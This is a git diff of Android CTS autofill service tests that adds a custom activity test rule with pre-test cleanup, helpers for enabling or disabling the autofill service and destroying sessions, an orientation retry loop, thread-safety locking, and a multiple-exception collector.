diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
index ab1c0ea..b966078 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
@@ -18,6 +18,7 @@
import static android.autofillservice.cts.FragmentContainerActivity.FRAGMENT_TAG;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.Helper.getContext;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
import static com.google.common.truth.Truth.assertThat;
@@ -28,7 +29,6 @@
import android.service.autofill.SaveInfo;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
-import android.support.test.rule.ActivityTestRule;
import android.view.ViewGroup;
import android.widget.EditText;
@@ -41,8 +41,8 @@
*/
public class AutoFinishSessionTest extends AutoFillServiceTestCase {
@Rule
- public final ActivityTestRule<FragmentContainerActivity> mActivityRule =
- new ActivityTestRule<>(FragmentContainerActivity.class);
+ public final AutofillActivityTestRule<FragmentContainerActivity> mActivityRule =
+ new AutofillActivityTestRule<>(FragmentContainerActivity.class);
private FragmentContainerActivity mActivity;
private EditText mEditText1;
private EditText mEditText2;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
new file mode 100644
index 0000000..7cf3c64
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.app.Activity;
+import android.support.test.rule.ActivityTestRule;
+
+/**
+ * Custom {@link ActivityTestRule} that cleans up the autofill state before the activity is
+ * launched.
+ */
+public class AutofillActivityTestRule<T extends Activity> extends ActivityTestRule<T> {
+
+ public AutofillActivityTestRule(Class<T> activityClass) {
+ super(activityClass);
+ }
+
+ @Override
+ protected void beforeActivityLaunched() {
+ Helper.preTestCleanup();
+
+ super.beforeActivityLaunched();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
index 0ed3c86..ff18003 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
@@ -26,7 +26,6 @@
import android.icu.util.Calendar;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
-import android.support.test.rule.ActivityTestRule;
import android.view.View;
import android.view.autofill.AutofillValue;
import android.widget.CompoundButton;
@@ -57,8 +56,8 @@
*/
public class AutofillValueTest extends AutoFillServiceTestCase {
@Rule
- public final ActivityTestRule<AllAutofillableViewsActivity> mActivityRule =
- new ActivityTestRule<>(AllAutofillableViewsActivity.class);
+ public final AutofillActivityTestRule<AllAutofillableViewsActivity> mActivityRule =
+ new AutofillActivityTestRule<>(AllAutofillableViewsActivity.class);
private AllAutofillableViewsActivity mActivity;
private EditText mEditText;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
index c3809a0..6ba5431 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
@@ -31,6 +31,7 @@
import static android.autofillservice.cts.Helper.assertToggleIsSanitized;
import static android.autofillservice.cts.Helper.assertToggleValue;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.Helper.getContext;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
import static android.view.View.AUTOFILL_TYPE_LIST;
@@ -41,7 +42,6 @@
import android.autofillservice.cts.CannedFillResponse.CannedDataset;
import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.support.test.rule.ActivityTestRule;
import android.widget.ArrayAdapter;
import android.widget.Spinner;
@@ -58,8 +58,8 @@
public class CheckoutActivityTest extends AutoFillServiceTestCase {
@Rule
- public final ActivityTestRule<CheckoutActivity> mActivityRule =
- new ActivityTestRule<CheckoutActivity>(CheckoutActivity.class);
+ public final AutofillActivityTestRule<CheckoutActivity> mActivityRule =
+ new AutofillActivityTestRule<CheckoutActivity>(CheckoutActivity.class);
private CheckoutActivity mActivity;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivityTest.java
index a51a00c..40c11d3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivityTest.java
@@ -15,15 +15,13 @@
*/
package android.autofillservice.cts;
-import android.support.test.rule.ActivityTestRule;
-
import org.junit.Rule;
public class DatePickerCalendarActivityTest extends DatePickerTestCase<DatePickerCalendarActivity> {
@Rule
- public final ActivityTestRule<DatePickerCalendarActivity> mActivityRule =
- new ActivityTestRule<DatePickerCalendarActivity>(DatePickerCalendarActivity.class);
+ public final AutofillActivityTestRule<DatePickerCalendarActivity> mActivityRule =
+ new AutofillActivityTestRule<DatePickerCalendarActivity>(DatePickerCalendarActivity.class);
@Override
protected DatePickerCalendarActivity getDatePickerActivity() {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivityTest.java
index 10851cd..0497f87 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivityTest.java
@@ -15,15 +15,13 @@
*/
package android.autofillservice.cts;
-import android.support.test.rule.ActivityTestRule;
-
import org.junit.Rule;
public class DatePickerSpinnerActivityTest extends DatePickerTestCase<DatePickerSpinnerActivity> {
@Rule
- public final ActivityTestRule<DatePickerSpinnerActivity> mActivityRule =
- new ActivityTestRule<DatePickerSpinnerActivity>(DatePickerSpinnerActivity.class);
+ public final AutofillActivityTestRule<DatePickerSpinnerActivity> mActivityRule =
+ new AutofillActivityTestRule<DatePickerSpinnerActivity>(DatePickerSpinnerActivity.class);
@Override
protected DatePickerSpinnerActivity getDatePickerActivity() {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FatActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/FatActivityTest.java
index a2edf4d..b2dd1d4 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FatActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FatActivityTest.java
@@ -18,18 +18,18 @@
import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
import static android.autofillservice.cts.FatActivity.ID_CAPTCHA;
import static android.autofillservice.cts.FatActivity.ID_IMAGE;
-import static android.autofillservice.cts.FatActivity.ID_IMPORTANT_IMAGE;
-import static android.autofillservice.cts.FatActivity.ID_INPUT;
-import static android.autofillservice.cts.FatActivity.ID_INPUT_CONTAINER;
import static android.autofillservice.cts.FatActivity.ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS;
import static android.autofillservice.cts.FatActivity.ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD;
import static android.autofillservice.cts.FatActivity.ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD;
-import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS;
-import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_CHILD;
-import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_GRAND_CHILD;
+import static android.autofillservice.cts.FatActivity.ID_IMPORTANT_IMAGE;
+import static android.autofillservice.cts.FatActivity.ID_INPUT;
+import static android.autofillservice.cts.FatActivity.ID_INPUT_CONTAINER;
import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS;
import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD;
import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD;
+import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS;
+import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_CHILD;
+import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_GRAND_CHILD;
import static android.autofillservice.cts.Helper.assertNumberOfChildren;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
import static android.autofillservice.cts.Helper.findNodeByText;
@@ -38,7 +38,6 @@
import android.app.assist.AssistStructure.ViewNode;
import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.support.test.rule.ActivityTestRule;
import org.junit.Before;
import org.junit.Rule;
@@ -50,8 +49,8 @@
public class FatActivityTest extends AutoFillServiceTestCase {
@Rule
- public final ActivityTestRule<FatActivity> mActivityRule =
- new ActivityTestRule<FatActivity>(FatActivity.class);
+ public final AutofillActivityTestRule<FatActivity> mActivityRule =
+ new AutofillActivityTestRule<FatActivity>(FatActivity.class);
private FatActivity mFatActivity;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index cf383a1..52abf95 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -17,6 +17,7 @@
package android.autofillservice.cts;
import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.autofillservice.cts.InstrumentedAutoFillService.SERVICE_NAME;
import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
import static com.google.common.truth.Truth.assertThat;
@@ -63,10 +64,10 @@
static final String ID_LOGIN = "login";
static final String ID_OUTPUT = "output";
- /** Pass to {@link #setOrientation(int)} to change the display to portrait mode */
+ /** Pass to {@link #setOrientation(UiBot, int)} to change the display to portrait mode */
public static int PORTRAIT = 0;
- /** Pass to {@link #setOrientation(int)} to change the display to landscape mode */
+ /** Pass to {@link #setOrientation(UiBot, int)} to change the display to landscape mode */
public static int LANDSCAPE = 1;
/**
@@ -100,6 +101,11 @@
static final int UI_TIMEOUT_MS = 2000;
/**
+ * Timeout (in milliseconds) for changing the screen orientation.
+ */
+ static final int UI_SCREEN_ORIENTATION_TIMEOUT_MS = 10000;
+
+ /**
* Time to wait in between retries
*/
static final int RETRY_MS = 100;
@@ -613,9 +619,9 @@
/**
* Prevents the screen to rotate by itself
*/
- public static void disableAutoRotation() {
+ public static void disableAutoRotation(UiBot uiBot) {
runShellCommand(ACCELLEROMETER_CHANGE, 0);
- setOrientation(PORTRAIT);
+ setOrientation(uiBot, PORTRAIT);
}
/**
@@ -631,8 +637,24 @@
*
* @param value {@link #PORTRAIT} or {@link #LANDSCAPE};
*/
- public static void setOrientation(int value) {
- runShellCommand(ORIENTATION_CHANGE, value);
+ public static void setOrientation(UiBot uiBot, int value) {
+ long startTime = System.currentTimeMillis();
+
+ while (System.currentTimeMillis() - startTime < UI_SCREEN_ORIENTATION_TIMEOUT_MS) {
+ runShellCommand(ORIENTATION_CHANGE, value);
+ final int actualValue = uiBot.getOrientation();
+ if (actualValue == value) {
+ return;
+ }
+ Log.d(TAG, "setOrientation(): sleeping until " + actualValue + " == " + value);
+ try {
+ Thread.sleep(RETRY_MS);
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ }
+ }
+ throw new RetryableException("Screen orientation didn't change to %d in %d ms", value,
+ UI_SCREEN_ORIENTATION_TIMEOUT_MS);
}
/**
@@ -640,7 +662,7 @@
*
* @return The pid of the process
*/
- public static int getOutOfProcessPid(@NonNull String processName) throws InterruptedException {
+ public static int getOutOfProcessPid(@NonNull String processName) {
long startTime = System.currentTimeMillis();
while (System.currentTimeMillis() - startTime < UI_TIMEOUT_MS) {
@@ -654,7 +676,11 @@
}
}
- Thread.sleep(RETRY_MS);
+ try {
+ Thread.sleep(RETRY_MS);
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ }
}
throw new IllegalStateException("process not found");
@@ -696,6 +722,92 @@
runShellCommand("cmd autofill set log_level %s", level);
}
+ /**
+ * Uses Settings to enable the given autofill service for the default user, and checks the
+ * value was properly check, throwing an exception if it was not.
+ */
+ public static void enableAutofillService(Context context, String serviceName) {
+ if (isAutofillServiceEnabled(serviceName)) return;
+
+ final OneTimeSettingsListener observer = new OneTimeSettingsListener(context,
+ AUTOFILL_SERVICE);
+ runShellCommand("settings put secure %s %s default", AUTOFILL_SERVICE, serviceName);
+ observer.assertCalled();
+ assertAutofillServiceStatus(serviceName, true);
+ }
+
+ /**
+ * Uses Settings to disable the given autofill service for the default user, and checks the
+ * value was properly check, throwing an exception if it was not.
+ */
+ public static void disableAutofillService(Context context, String serviceName) {
+ if (!isAutofillServiceEnabled(serviceName)) return;
+
+ final OneTimeSettingsListener observer = new OneTimeSettingsListener(context,
+ AUTOFILL_SERVICE);
+ runShellCommand("settings delete secure %s", AUTOFILL_SERVICE);
+ observer.assertCalled();
+ assertAutofillServiceStatus(serviceName, false);
+ }
+
+ /**
+ * Checks whether the given service is set as the autofill service for the default user.
+ */
+ public static boolean isAutofillServiceEnabled(String serviceName) {
+ final String actualName = runShellCommand("settings get secure %s", AUTOFILL_SERVICE);
+ return serviceName.equals(actualName);
+ }
+
+ /**
+ * Asserts whether the given service is enabled as the autofill service for the default user.
+ */
+ public static void assertAutofillServiceStatus(String serviceName, boolean enabled) {
+ final String actual = runShellCommand("settings get secure %s", AUTOFILL_SERVICE);
+ final String expected = enabled ? serviceName : "null";
+ assertWithMessage("Invalid value for secure setting %s", AUTOFILL_SERVICE)
+ .that(actual).isEqualTo(expected);
+ }
+
+ /**
+ * Asserts that there is no session left in the service.
+ */
+ public static void assertNoDanglingSessions() {
+ final String command = "cmd autofill list sessions";
+ final String result = runShellCommand(command);
+ assertWithMessage("Dangling sessions ('%s'): %s'", command, result).that(result).isEmpty();
+ }
+
+ /**
+ * Destroys all sessions.
+ */
+ public static void destroyAllSessions() {
+ runShellCommand("cmd autofill destroy sessions");
+ assertNoDanglingSessions();
+ }
+
+ /**
+ * Gets the instrumentation context.
+ */
+ public static Context getContext() {
+ return InstrumentationRegistry.getInstrumentation().getContext();
+ }
+
+ /**
+ * Cleans up the autofill state; should be called before pretty much any test.
+ */
+ public static void preTestCleanup() {
+ if (!hasAutofillFeature()) return;
+
+ Log.d(TAG, "preTestCleanup()");
+
+ disableAutofillService(getContext(), SERVICE_NAME);
+ InstrumentedAutoFillService.setIgnoreUnexpectedRequests(true);
+
+ destroyAllSessions();
+ InstrumentedAutoFillService.resetStaticState();
+ AuthenticationActivity.resetStaticState();
+ }
+
private Helper() {
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivityTest.java
index cfdb6e4..07c67eb9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivityTest.java
@@ -28,7 +28,6 @@
import static android.autofillservice.cts.Helper.findNodeByResourceId;
import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.support.test.rule.ActivityTestRule;
import org.junit.Before;
import org.junit.Rule;
@@ -40,8 +39,8 @@
public class InitializedCheckoutActivityTest extends AutoFillServiceTestCase {
@Rule
- public final ActivityTestRule<InitializedCheckoutActivity> mActivityRule =
- new ActivityTestRule<InitializedCheckoutActivity>(InitializedCheckoutActivity.class);
+ public final AutofillActivityTestRule<InitializedCheckoutActivity> mActivityRule =
+ new AutofillActivityTestRule<InitializedCheckoutActivity>(InitializedCheckoutActivity.class);
private InitializedCheckoutActivity mCheckoutActivity;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
index 81e3387..12fec5a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
@@ -38,8 +38,10 @@
import android.service.autofill.FillContext;
import android.service.autofill.FillResponse;
import android.service.autofill.SaveCallback;
+import android.support.annotation.Nullable;
import android.util.Log;
+import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue;
@@ -51,6 +53,9 @@
*/
public class InstrumentedAutoFillService extends AutofillService {
+ static final String SERVICE_NAME = InstrumentedAutoFillService.class.getPackage()
+ .getName() + "/." + InstrumentedAutoFillService.class.getSimpleName();
+
private static final String TAG = "InstrumentedAutoFillService";
private static final boolean DUMP_FILL_REQUESTS = false;
@@ -64,6 +69,9 @@
private static final Replier sReplier = new Replier();
private static final BlockingQueue<String> sConnectionStates = new LinkedBlockingQueue<>();
+ private static final Object sLock = new Object();
+
+ // @GuardedBy("sLock")
private static boolean sIgnoreUnexpectedRequests = false;
public InstrumentedAutoFillService() {
@@ -89,9 +97,11 @@
@Override
public void onFillRequest(android.service.autofill.FillRequest request,
CancellationSignal cancellationSignal, FillCallback callback) {
- if (sIgnoreUnexpectedRequests || !fromSamePackage(request.getFillContexts())) {
- Log.w(TAG, "Ignoring onFillRequest()");
- return;
+ synchronized (sLock) {
+ if (sIgnoreUnexpectedRequests || !fromSamePackage(request.getFillContexts())) {
+ Log.w(TAG, "Ignoring onFillRequest()");
+ return;
+ }
}
if (DUMP_FILL_REQUESTS) dumpStructure("onFillRequest()", request.getFillContexts());
sReplier.onFillRequest(request.getFillContexts(), request.getClientState(),
@@ -101,9 +111,11 @@
@Override
public void onSaveRequest(android.service.autofill.SaveRequest request,
SaveCallback callback) {
- if (sIgnoreUnexpectedRequests || !fromSamePackage(request.getFillContexts())) {
- Log.w(TAG, "Ignoring onSaveRequest()");
- return;
+ synchronized (sLock) {
+ if (sIgnoreUnexpectedRequests || !fromSamePackage(request.getFillContexts())) {
+ Log.w(TAG, "Ignoring onSaveRequest()");
+ return;
+ }
}
if (DUMP_SAVE_REQUESTS) dumpStructure("onSaveRequest()", request.getFillContexts());
sReplier.onSaveRequest(request.getFillContexts(), request.getClientState(), callback);
@@ -126,7 +138,9 @@
* should throw an exception.
*/
public static void setIgnoreUnexpectedRequests(boolean ignore) {
- sIgnoreUnexpectedRequests = ignore;
+ synchronized (sLock) {
+ sIgnoreUnexpectedRequests = ignore;
+ }
}
/**
@@ -231,10 +245,28 @@
private final BlockingQueue<FillRequest> mFillRequests = new LinkedBlockingQueue<>();
private final BlockingQueue<SaveRequest> mSaveRequests = new LinkedBlockingQueue<>();
+ private List<Exception> mExceptions;
+
private Replier() {
}
/**
+ * Gets the exceptions thrown asynchronously, if any.
+ */
+ @Nullable List<Exception> getExceptions() {
+ return mExceptions;
+ }
+
+ private void addException(@Nullable Exception e) {
+ if (e == null) return;
+
+ if (mExceptions == null) {
+ mExceptions = new ArrayList<>();
+ }
+ mExceptions.add(e);
+ }
+
+ /**
* Sets the expectation for the next {@code onFillRequest} as {@link FillResponse} with just
* one {@link Dataset}.
*/
@@ -280,6 +312,13 @@
}
/**
+ * Gets the current number of unhandled requests.
+ */
+ int getNumberUnhandledFillRequests() {
+ return mFillRequests.size();
+ }
+
+ /**
* Gets the next save request, in the order received.
*
* <p>Typically called at the end of a test case, to assert the initial request.
@@ -310,6 +349,7 @@
mResponses.clear();
mFillRequests.clear();
mSaveRequests.clear();
+ mExceptions = null;
}
private void onFillRequest(List<FillContext> contexts, Bundle data,
@@ -321,11 +361,14 @@
} catch (InterruptedException e) {
Log.w(TAG, "Interrupted getting CannedResponse: " + e);
Thread.currentThread().interrupt();
+ addException(e);
return;
}
if (response == null) {
- dumpStructure("onFillRequest() without response", contexts);
- throw new RetryableException("No CannedResponse");
+ final String msg = "onFillRequest() received when no CannedResponse was set";
+ dumpStructure(msg, contexts);
+ addException(new RetryableException(msg));
+ return;
}
if (response.getResponseType() == NULL) {
Log.d(TAG, "onFillRequest(): replying with null");
@@ -350,6 +393,8 @@
Log.v(TAG, "onFillRequest(): fillResponse = " + fillResponse);
callback.onSuccess(fillResponse);
+ } catch (Exception e) {
+ addException(e);
} finally {
mFillRequests.offer(new FillRequest(contexts, data, cancellationSignal, callback,
flags));
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 686a056..72f5197 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -18,12 +18,13 @@
import static android.app.Activity.RESULT_CANCELED;
import static android.app.Activity.RESULT_OK;
+import static android.autofillservice.cts.CannedFillResponse.DO_NOT_REPLY_RESPONSE;
import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
import static android.autofillservice.cts.CheckoutActivity.ID_CC_NUMBER;
-import static android.autofillservice.cts.CannedFillResponse.DO_NOT_REPLY_RESPONSE;
import static android.autofillservice.cts.Helper.ID_PASSWORD;
import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
import static android.autofillservice.cts.Helper.assertNumberOfChildren;
import static android.autofillservice.cts.Helper.assertTextAndValue;
import static android.autofillservice.cts.Helper.assertTextIsSanitized;
@@ -31,6 +32,7 @@
import static android.autofillservice.cts.Helper.dumpStructure;
import static android.autofillservice.cts.Helper.eventually;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.Helper.getContext;
import static android.autofillservice.cts.Helper.runShellCommand;
import static android.autofillservice.cts.Helper.setUserComplete;
import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
@@ -72,7 +74,6 @@
import android.service.autofill.FillEventHistory;
import android.service.autofill.FillResponse;
import android.service.autofill.SaveInfo;
-import android.support.test.rule.ActivityTestRule;
import android.support.test.uiautomator.UiObject2;
import android.view.View;
import android.view.View.AccessibilityDelegate;
@@ -99,8 +100,8 @@
public class LoginActivityTest extends AutoFillServiceTestCase {
@Rule
- public final ActivityTestRule<LoginActivity> mActivityRule = new ActivityTestRule<LoginActivity>(
- LoginActivity.class);
+ public final AutofillActivityTestRule<LoginActivity> mActivityRule =
+ new AutofillActivityTestRule<LoginActivity>(LoginActivity.class);
private LoginActivity mActivity;
@@ -1172,7 +1173,7 @@
throw e;
}
- // Sanity check: once saved, the session should be finsihed.
+ // Sanity check: once saved, the session should be finished.
assertNoDanglingSessions();
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java
new file mode 100644
index 0000000..3750c30
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.util.Log;
+
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Helper used to catch multiple exceptions that might have happened in a test case.
+ */
+// TODO: move to common CTS code (and add test cases to it)
+public final class MultipleExceptionsCatcher {
+
+ private static final String TAG = "MultipleExceptionsCatcher";
+
+ private final List<Throwable> mThrowables = new ArrayList<>();
+
+ /**
+ * Runs {@code r} postponing any thrown exception to {@link #throwIfAny()}.
+ */
+ public MultipleExceptionsCatcher run(@NonNull Runnable r) {
+ try {
+ r.run();
+ } catch (Throwable t) {
+ mThrowables.add(t);
+ }
+ return this;
+ }
+
+ /**
+ * Adds an exception - if it's not {@code null} to the exceptions thrown by
+ * {@link #throwIfAny()}.
+ */
+ public MultipleExceptionsCatcher add(@Nullable Throwable t) {
+ if (t != null) {
+ mThrowables.add(t);
+ }
+ return this;
+ }
+
+ /**
+ * Throws one exception merging all exceptions thrown or added so far, if any.
+ */
+ public void throwIfAny() throws Exception {
+ if (mThrowables.isEmpty()) return;
+
+ if (mThrowables.size() == 1) {
+ final Throwable t = mThrowables.get(0);
+ if (t instanceof Exception) {
+ throw (Exception) t;
+ }
+ }
+
+ String msg = "D'OH!";
+ try {
+ try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
+ sw.write("Caught " + mThrowables.size() + " exceptions\n");
+ for (int i = 0; i < mThrowables.size(); i++) {
+ sw.write("\n---- Begin of exception #" + (i + 1) + " ----\n");
+ final Throwable exception = mThrowables.get(i);
+ exception.printStackTrace(pw);
+ sw.write("---- End of exception #" + (i + 1) + " ----\n\n");
+ }
+ msg = sw.toString();
+ }
+ } catch (IOException e) {
+ // ignore close() errors - should not happen...
+ Log.e(TAG, "Exception closing StringWriter: " + e);
+ }
+ throw new AssertionError(msg);
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java
index ac7ae34..3e30b9b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java
@@ -28,7 +28,6 @@
import android.app.assist.AssistStructure;
import android.app.assist.AssistStructure.ViewNode;
import android.os.Bundle;
-import android.support.test.rule.ActivityTestRule;
import android.util.Log;
import android.view.autofill.AutofillValue;
import android.widget.EditText;
@@ -40,8 +39,8 @@
public class MultipleFragmentLoginTest extends AutoFillServiceTestCase {
private static final String LOG_TAG = MultipleFragmentLoginTest.class.getSimpleName();
@Rule
- public final ActivityTestRule<FragmentContainerActivity> mActivityRule =
- new ActivityTestRule<>(FragmentContainerActivity.class);
+ public final AutofillActivityTestRule<FragmentContainerActivity> mActivityRule =
+ new AutofillActivityTestRule<>(FragmentContainerActivity.class);
private FragmentContainerActivity mActivity;
private EditText mEditText1;
private EditText mEditText2;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
index b1250de..d1b8400 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
@@ -28,7 +28,6 @@
import android.app.assist.AssistStructure;
import android.autofillservice.cts.CannedFillResponse.CannedDataset;
import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.support.test.rule.ActivityTestRule;
import org.junit.After;
import org.junit.Before;
@@ -49,8 +48,8 @@
public class OptionalSaveActivityTest extends AutoFillServiceTestCase {
@Rule
- public final ActivityTestRule<OptionalSaveActivity> mActivityRule =
- new ActivityTestRule<OptionalSaveActivity>(OptionalSaveActivity.class);
+ public final AutofillActivityTestRule<OptionalSaveActivity> mActivityRule =
+ new AutofillActivityTestRule<OptionalSaveActivity>(OptionalSaveActivity.class);
private OptionalSaveActivity mActivity;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
index cd854c8..d458940 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
@@ -25,6 +25,7 @@
import static android.autofillservice.cts.GridActivity.ID_L4C2;
import static android.autofillservice.cts.Helper.assertTextIsSanitized;
import static android.autofillservice.cts.Helper.assertValue;
+import static android.autofillservice.cts.Helper.getContext;
import static android.autofillservice.cts.Helper.getMaxPartitions;
import static android.autofillservice.cts.Helper.setMaxPartitions;
import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
@@ -45,7 +46,6 @@
import android.content.IntentSender;
import android.os.Bundle;
import android.service.autofill.FillResponse;
-import android.support.test.rule.ActivityTestRule;
import android.widget.RemoteViews;
import org.junit.Before;
@@ -58,8 +58,8 @@
public class PartitionedActivityTest extends AutoFillServiceTestCase {
@Rule
